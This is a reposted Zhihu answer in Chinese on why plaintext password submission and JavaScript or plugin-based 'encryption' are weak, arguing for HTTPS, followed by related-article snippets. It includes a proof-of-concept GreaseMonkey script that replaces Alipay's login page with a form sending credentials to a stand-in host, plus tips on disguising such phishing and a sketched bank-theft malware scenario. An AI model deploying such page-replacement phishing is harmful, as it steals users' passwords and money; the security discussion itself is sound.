国内大多数网站的密码在 post 传输过程中都是明文的,这正常吗?

标签: 国内 网站 密码 | 发表时间:2014-08-01 00:00 | 作者:于航
出处:http://www.zhihu.com
稍微纠正一下其它答案中的问题。

js加密(比如腾讯)没什么安全性可言,攻击者只要把你访问的页面整个替换掉就可以了。共用路由器的话,用ARP病毒应该很容易做到。

按照类似的逻辑,只要在登录的时候用户看不到地址是https,任何“其它方法”都不安全。就不必讨论js或者类似方案了。

就算是用插件登录,在很多时候,攻击者也可以修改页面,让输入框根本不使用这个插件。所以除非插件另外有验证页面内容的功能,还是不能不使用https。而且就算使用https,对于本地的病毒之类的问题,有些插件也不能阻止攻击者绕过这个插件。

比如以下GreaseMonkey脚本在Linux,Firefox中验证成功,Windows和其它浏览器就不逐个尝试了(如果Windows不行的话,还有一种合理的解释是Linux版仅仅用于避免Windows用户访问“更不安全”的页面)。以下脚本仅仅用于验证概念。真正用于攻击的话,首先要把页面做得和支付宝官方页面比较像,还要能自动给Firefox安装脚本,最好还能避免用户发觉,让用户以为登录不上去是因为网络错误或密码错误。

// ==UserScript==
// @name alipay hacker test
// @namespace afdsjalfwhahefhwadskla
// @include htt ps://www.alip ay.com/
// @version 1
// @grant none
// ==/UserScript==
document.body.innerHTML='<form action=“ht tps://www.exam ple.com" method="get"><input name="username"><input type="password" name="password"><input type="submit"></form>'

所以说,插件在很多时候也都是自欺欺人。可能阻止了一部分流行的病毒的行为,但是有针对性的攻击是否也能阻止,难说。只考虑网络安全的话用https即可,不需要另外的插件。

更进一步地说,考虑病毒的影响的话,某些直接使用自己的客户端的验证方式也无法保证安全。比如某个病毒作者自己做一个登陆框,替换掉QQ.exe,QQ自身没有任何防范方法。只是用户很快就会发现问题而已,因为登录不上去。对QQ可能影响不大,但是想象一下要是有银行用类似的方法,病毒可以在攻击者得到密码之后,立即破坏系统文件,切断用户的网络,可以稍微用蓝屏之类的方式掩饰一下,避免用户很快直接联系银行,然后攻击者立即将用户的存款转出。只是病毒的体积可能有些大,看现在的网速可能也不是很大的问题。

网速比较快的话,USB Key也可以做个程序远程与硬件交互,攻击者那边再装个虚拟的硬件驱动,实在不行就用虚拟机。有些设备可能解决了这些问题,毕竟网络不太可能完全没有延迟,而且带宽有限。有些设备可能没有,或者目的仅仅是避免依赖于密码。

但是比如说,使用手机短信验证,而且保证手机不中毒,或者比如说使用带有屏幕的USB Key,那么应该是安全的。不过个人认为受盗号影响不大的普通网站没必要在用户自己中毒造成的问题上下太多功夫。这是用户自己和杀毒软件的责任。

另外关于明文存储密码,有些人有概念错误(以下专业的人可以不必看)。明文存储密码不是要避免有人用用户的密码去登录其它网站,而是在网站自身的数据库泄露之后,避免有人直接用泄露的密码直接登录自己的网站。“从技术上保证一个网站的密码不能用于登录另一个网站”,不应该是网站的责任,而是浏览器应该做的事,虽然现在没有哪个浏览器做了这件事。

服务器的数据库的所谓密码加密,其实是不可逆的hash,hash之后直接与数据库比较。但是js加密(或者https加密)要是用同样的方法的话,攻击者得到加密之后的内容,就可以跳过js加密的步骤,用加密后的内容直接通过验证。所以任何客户端的加密方法,都应该保证一个加密后的数据不能重复使用两次。使用的算法一般应该是可逆的,也有一些其它方案,比如两次操作顺序可交换的不可逆算法。

所以以上就有三种不同意义的加密:1.用户在不同网站上使用不同的密码;2.传输过程中的加密;3.网站自身数据库的加密。如果要达到目的,任何两个都不能共用同一加密过程。

第一条比起在浏览器上实现这个功能,现在似乎有个另外的趋势是用一个账号登录多种服务。实际上有一些安全隐患,因为某些不重要的小网站可以用QQ、微博账号登录,某些购物网站一样也可以用QQ、微博账号登录。这样在某些明知不安全的环境,可能比如一些网吧,注重安全而又想登录小网站的人就会比较困扰。

— 完 —
本文作者: 于航

【知乎日报】 你都看到这啦,快来点我嘛 Σ(▼□▼メ)

此问题还有 22 个回答,查看全部。
延伸阅读:
为什么现在还有网站在使用明文保存密码?
CSDN 为什么会用明文存储密码?是意外还是故意的?

相关 [国内 网站 密码] 推荐:

国内大多数网站的密码在 post 传输过程中都是明文的,这正常吗?

- - 知乎每日精选
js加密(比如腾讯)没什么安全性可言,攻击者只要把你访问的页面整个替换掉就可以了. 共用路由器的话,用ARP病毒应该很容易做到. 按照类似的逻辑,只要在登录的时候用户看不到地址是https,任何“其它方法”都不安全. 就算是用插件登录,在很多时候,攻击者也可以修改页面,让输入框根本不使用这个插件. 所以除非插件另外有验证页面内容的功能,还是不能不使用https.

网站的无密码登录

- - 阮一峰的网络日志
常见的做法,是让用户注册一个账户. 对于用户来说,每个网站必须记住一个密码,非常麻烦;对于开发者来说,必须承担保护密码的责任,一旦密码泄漏,对网站的业务和信誉都是 巨大打击. 所以,很早以前,人们就开始设想"无密码登录"(password-less login). 这对用户和网站,都将是极大的减负.

国内外WAP网站LOGO一览表

- slackware - hiued - 用户体验数据分析中心
以下内容由hiued.com用户体验数据分析中心整理,WAP网站LOGO一览表. 本博文更新于2011年1月14日. 国内wap站LOGO现状小结:. 1.LOGO图片格式全部为gif格式,无png格式. 2.LOGO平均宽高比国外的大一些,但大部分遵守着默守的规范(如不使用JPG的图片). 3.国内很多直接命名为logo.gif.

5个国内音乐网站推荐

- 微微 - 帕兰映像
本文向大家推荐5个优秀的国内音乐网站. 我是挺喜欢边写文档边放着各种歌曲. 以前喜欢一个专辑一个专辑的下载下来用foobar播放,不过现在懒惰了不少,开始习惯用在线听歌的方式来放松心情. 这个在线听歌网站整站都是使用flash制作,相当华丽,而且简洁. 第一次使用过就会难以忘怀,因为界面做得的确很棒.

国内旅游社区网站推荐

- - 天涯海阁|Web2.0Share
其实旅游社区一直是很多人关注的一个领域,一方面旅游市场本身是一个市场很大的行业,旅游现在在中国是一个2万亿美元的市场,但是,旅游市场的电商总规模才30亿人民币左右. 现在旅游电商的最主要形态有OTA(像携程、e龙;还有途牛等),还有SP的电商平台(例如国航)( Via). 互联网和旅游行业相结合,为线下旅游行业带来更多的用户,通过社区让用户更好的准备(经验分享、计划制定等)或者分享旅游体验等对于旅游行业都是很有价值的.

国内在线学习网站推荐

- - 天涯海阁|Web2.0Share
在线学习是通过计算机互联网,或是通过手机无线网络,在一个网络虚拟教室与教室进行网络授课、学习的方式. 在线学习网站(社区)跟多是通过互联网的方式实现教与学之间的沟通和互动,更好的通过互联网进行学习,当然这种互动除了原有的知识之外,目前也慢慢拓展到经验和技能的分享和学习. 粉笔网是一个微博式学习社区,这里有覆盖七十多分类全国各地的认证名师,每天都在更新大量练习题和最第一手的原创学习资料.

国内优秀导购网站推荐

- - 天涯海阁|Web2.0Share
之前和大家简单介绍过 社会化电子商务,也推荐过国内一些优秀的 社会化购物网站,目前国内社会化购物网站大家认知度比较高的可能就是美丽说和蘑菇街了,不过除了这两者之外,其实围绕电子商务,出现了越来越多的购物推荐网站(或者称之为导购站),有些也是以社会化的方式,也有一些以偏媒体的方式,今天和大家推荐一些国内在这个领域以不同方式切入的导购网站.

国外hash(MD5、NTLM、LM、SHA)密码在线破解网站

- - 服务器运维与网站架构|Linux运维|X研究
PS:这是国外的hash密码在线破解网站列表,支持多种类型的hash密码,目前可查询破解的hash包括:MD5、NTLM、LM、SHA1、SHA 256-512、MySQL、WPA-PSK.

修改密码成钓鱼网站新诈骗方式

- - cnBeta全文版
近日,“密码门”事件爆发后,搅乱了不少网友的平静生活,他们都忙着修改账号密码,也有不少网友是在收到一些网站客服发来的温馨提示建议修改密码防止账号 被盗后,才动手改密码的. 但网络安全专家就提醒,近日有不少钓鱼网站打着密码门的旗号,伪装成正常网站的温馨提示,骗取网友密码. “幸好我多看了一眼发件人啊,今天早上我收到了一封以淘宝支付宝客服的名义发来的通知,让我立即去登录淘宝网修改密码.

安全科普:利用WireShark破解网站密码

- - 氪星人
当我们输入账号、密码登录一个网站时,如果网站允许你使用HTTP(明文)进行身份验证,那么此时捕获通信流量非常简单,我们完全可以对捕获到的流量进行分析以获取登录账号和密码. 这种方法不仅适用于局域网,甚至还适用于互联网. 这就意味着,攻击者将可以破解任何使用HTTP协议进行身份验证的网站密码. 在局域网内要做到这一点很容易,这不禁使你惊讶HTTP是有多么的不安全.